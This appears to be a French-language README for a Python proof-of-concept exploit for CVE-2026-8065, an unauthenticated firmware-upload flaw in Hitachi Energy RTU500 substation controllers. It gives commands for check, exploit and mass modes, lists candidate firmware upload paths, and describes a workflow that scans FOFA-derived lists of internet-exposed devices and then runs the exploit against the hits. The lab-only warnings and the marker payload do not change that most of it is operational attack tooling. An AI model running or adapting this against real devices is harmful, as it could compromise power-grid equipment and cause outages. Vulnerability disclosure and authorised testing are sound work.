murrez/cve-2026-8065PoC Python pour CVE-2026-8065 : identifie les appareils Hitachi Energy RTU500 et sonde les points de terminaison de mise à jour du firmware pour détecter les téléversements non authentifiés, avec des modes vérification, exploitation et analyse de masse.
PoC Python 3 pour CVE-2026-8065 — Hitachi Energy RTU500 Series CMU Firmware — contournement d'authentification (CWE-306) sur le point de terminaison HTTP de mise à jour de firmware. CVSS 3.1 9.1 Critique (IoT/OT).
| PoCbit | https://pocbit.org/pocs/cve-2026-8065 |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-8065 |
| Vecteur | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H |
| CWE | CWE-306 Authentification manquante pour une fonction critique |
| Impact | Téléversement de firmware arbitraire non authentifié → intégrité / disponibilité du RTU de sous-station |
RTU500 est une famille de Remote Terminal Unit (unité terminale distante) utilisée dans le domaine du transport/distribution d'énergie ; la gestion du firmware CMU s'effectue via le serveur web. Dans CVE-2026-8065, le point de terminaison de mise à jour du firmware devient accessible sans authentification (ou contourné via un POST forgé) ; un attaquant peut téléverser un firmware arbitraire, modifier la fonction de l'appareil, compromettre son intégrité ou provoquer un DoS.
Cela signifie un impact OT critique à distance avec PR:N dans le réseau d'automatisation — il ne doit être testé que dans un laboratoire d'isolation autorisé ou dans le cadre d'un pentest approuvé par le fournisseur.
Fournisseur (CNA) concerné : RTU500 Series CMU Firmware — lignes de versions 9.0 et 12.0 (versionnage personnalisé ; voir l'avis actuel et les notes de correctif 13.8.2+).
Hitachi Energy a attribué CVE-2026-8065 (publié le 2026-09-29) :
Une vulnérabilité de contournement d'authentification dans le point de terminaison de mise à jour de firmware du Hitachi Energy RTU500 permet à un attaquant non authentifié de téléverser un firmware arbitraire via une requête POST forgée.
Contrairement à CVE-2024-2617 (utilisateur authentifié contournant la mise à jour sécurisée lorsqu'elle est désactivée), CVE-2026-8065 est un accès non authentifié à la fonction de mise à jour elle-même — une lacune complète de type CWE-306 sur une surface OT critique pour la sécurité.
Les avis publics peuvent ne pas encore lister l'URI exacte ; la documentation du RTU500 décrit la gestion du firmware via Configuration Management / transfert de fichiers par serveur web. Ce PoC identifie le RTU500 et sonde une liste sélectionnée de chemins POST de firmware probables, puis (mode exploit) envoie un blob de sonde non destiné à la production (POCBIT-8065-FW-PROBE) pour détecter les réponses d'acceptation non authentifiée.
| Mode | Comportement |
|---|---|
| check | Sonde HTTP(S) multi-port, marqueurs HTML RTU500, regex de version CMU, sonde GET sur les chemins de firmware |
| exploit | POST multipart d'un faux .fw sans cookie de session ; exploited si 2xx + heuristiques d'acceptation |
| mass | --list + -j ; hits.txt / exploited.txt |
--dry-run | Exploit : sonde GET du chemin de firmware uniquement (pas de POST) |
--lab | RTU500 simulé local — doit afficher exploited: true (vérification de cohérence) |
--force | Exploit sans empreinte HTML RTU500 |
--firmware-paths | Remplacer la liste des chemins (séparés par des virgules) lorsque le chemin du fournisseur est connu |
JSONL : pocbit, pocbit_catalog, pocbit_page, cve, vendor, product.
Sécurité : La charge utile d'exploit par défaut n'est pas une image flash CMU valide — seulement un marqueur + remplissage pour la détection. Ne pointez jamais le mode exploit vers des équipements de réseau électrique en production sans isolation et coordination avec le fournisseur.
cd CVE-2026-8065
pip install -r requirements.txt
python poc.py -u https://192.168.1.10 --mode check
python poc.py -u https://192.168.1.10 --mode exploit --dry-run
python poc.py -u https://192.168.1.10 --mode exploit
python poc.py -u https://192.168.1.10 --mode exploit --firmware-paths /api/firmware/update
mode bulk activé par défaut avec --list --mode check : 1–2 GET par cible (URL de liste + si nécessaire http/https), pas de scan des 16 chemins de firmware, timeout court (4s connect, 10s read), -j 32 par défaut.
python _format_fofa.py fofa_csv_1000.csv
python poc.py --list fofa_targets_rtu_priority.txt --mode check -j 40
python poc.py --list fofa_csv_1000.csv --mode check -j 50 --timeout 8
python poc.py --list targets.txt --mode check --full -j 20 # yavaş: çoklu port + tüm firmware GET
python poc.py --list hits.txt --mode exploit -j 8 --timeout 25
Progression dans la CLI : [done/total hedef/s] ; les hits sont écrits instantanément comme HIT.
La liste FOFA cert="Hitachi" est très bruyante ; dans le CSV, scannez d'abord la liste de priorité avec rtu_priority. Check hit ≠ véritable RTU : les SPA d'entreprise où seule la mention hitachi energy apparaît sur la page deviennent vendor_branding_only / vendor_branding_spa_false_positive ; pour l'exploit, une empreinte strong comme rtu500 / rtutil500 / cmu firmware est requise (sinon --force).
python poc.py --lab
python poc.py --list fofa_targets_rtu_priority.txt --mode check --full -j 20
python poc.py --list hits.txt --mode exploit --dry-run -j 8
Le PoC alterne (vérification GET / exploitation POST) :
/api/firmware/update, /api/firmware/upload, /api/v1/firmware/update/firmware/update, /firmware/upload, /ws/firmware/update/CMU/firmware/upload, /ConfigurationManagement/Firmware/configuration/management/firmware, /FileUpload/Firmware/scripts/firmwareUpload, /cgi-bin/firmware, /admin/firmware/uploadLorsque Hitachi publie le chemin exact, définissez --firmware-paths sur cette URI uniquement.